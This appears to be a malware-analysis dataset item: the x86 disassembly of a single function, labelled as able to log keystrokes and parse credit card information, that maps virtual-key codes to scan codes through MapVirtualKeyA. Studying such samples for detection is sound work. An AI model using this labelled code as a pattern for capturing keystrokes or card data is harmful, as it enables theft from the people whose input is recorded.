Function at 0x1004fa1c
Capabilities:
Log keystrokes
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 8], 0
jle 0x1004fe7b
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 0xff
push dword [ebp + 8]
call fcn.100501ae
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa0
jne 0x1004fa73
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x10
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x2a
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa1
jne 0x1004fa99
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x10
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x36
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa2
jne 0x1004fabf
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x11
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x1d
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa3
jne 0x1004fae5
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x11
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x9d
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa4
jne 0x1004fb0b
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x12
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x38
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xa5
jne 0x1004fb31
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x12
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xb8
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x90
jne 0x1004fb4e
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xc5
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x24
jne 0x1004fb68
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xc7
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x26
jne 0x1004fb82
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xc8
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x21
jne 0x1004fb9c
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xc9
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x25
jne 0x1004fbb6
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xcb
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x27
jne 0x1004fbd0
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xcd
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x23
jne 0x1004fbea
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xcf
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x28
jne 0x1004fc04
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xd0
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x22
jne 0x1004fc1e
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xd1
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x2d
jne 0x1004fc38
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xd2
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x2e
jne 0x1004fc52
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xd3
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x5b
jne 0x1004fc6c
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdb
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x5c
jne 0x1004fc86
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdc
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x5d
jne 0x1004fca0
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdd
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x5e
jne 0x1004fcba
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xde
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x6f
jne 0x1004fcd4
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xb5
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0xe
jne 0x1004fcf7
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0xd
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x9c
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x3a
jne 0x1004fd1a
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x2d
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x52
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x3b
jne 0x1004fd3d
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x2e
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x53
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x3c
jne 0x1004fd60
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x21
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x49
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x3d
jne 0x1004fd83
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x23
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x4f
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x3e
jne 0x1004fda6
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x24
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x47
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x89
jne 0x1004fdcc
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x25
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x4b
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x89
jne 0x1004fdf2
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x26
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x48
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x8b
jne 0x1004fe18
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x27
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x4d
jmp 0x1004fe76
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0x8c
jne 0x1004fe3e
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x28
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0x50
jmp 0x1004fe76
mov dword [ebp - 4], esp
push 0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x1004fe71
push 0x117e
push 0x4242a57
push 6
call fcn.1010142e
add esp, 0xc
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
jmp 0x10050191
fild dword [ebp + 8]
fstp qword [ebp - 8]
push 0x80000601
push dword [ebp - 4]
push dword [ebp - 8]
push 1
mov ebx, 0x5c
call fcn.10104e40
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
push 0xff
fld qword [ebp - 0x10]
call fcn.1000144d
push eax
call fcn.100501ae
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xc5
jne 0x1004fee5
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x90
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xb5
jne 0x1004ff02
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x6f
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x53
jne 0x1004ff1c
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x6e
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x52
jne 0x1004ff36
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x60
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x4f
jne 0x1004ff50
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x61
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x50
jne 0x1004ff6a
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x62
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x51
jne 0x1004ff84
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x63
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x4b
jne 0x1004ff9e
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x64
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x4c
jne 0x1004ffb8
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x65
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x4d
jne 0x1004ffd2
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x66
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x47
jne 0x1004ffec
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x67
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x48
jne 0x10050006
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x68
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x49
jne 0x10050020
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x69
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x45
jne 0x1005003a
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x72
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xb7
jne 0x10050057
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x2c
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x5b
je 0x10050076
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xdb
je 0x10050076
xor eax, eax
jmp 0x1005007b
mov eax, 1
test eax, eax
je 0x1005009a
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x5b
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdb
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x5c
je 0x100500b9
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xdc
je 0x100500b9
xor eax, eax
jmp 0x100500be
mov eax, 1
test eax, eax
je 0x100500dd
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x5c
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdc
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0x5d
je 0x100500fc
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xdd
je 0x100500fc
xor eax, eax
jmp 0x10050101
mov eax, 1
test eax, eax
je 0x10050120
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x5d
mov ebx, dword [ebp + 0x10]
mov dword [ebx], 0xdd
jmp 0x10050191
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0xde
jne 0x1005013d
mov ebx, dword [ebp + 0xc]
mov dword [ebx], 0x5e
jmp 0x10050191
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 0x7f
mov ebx, dword [ebp + 0x10]
push dword [ebx]
call fcn.100501ae
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1005018c
push 0x1bc7
push 0x4242a57
push 6
call fcn.1010142e
add esp, 0xc
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
push 8
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebx]
cdq
push edx
push eax
call fcn.100302a7
jmp 0x100501a8
mov esp, ebp
pop ebp
ret 0xc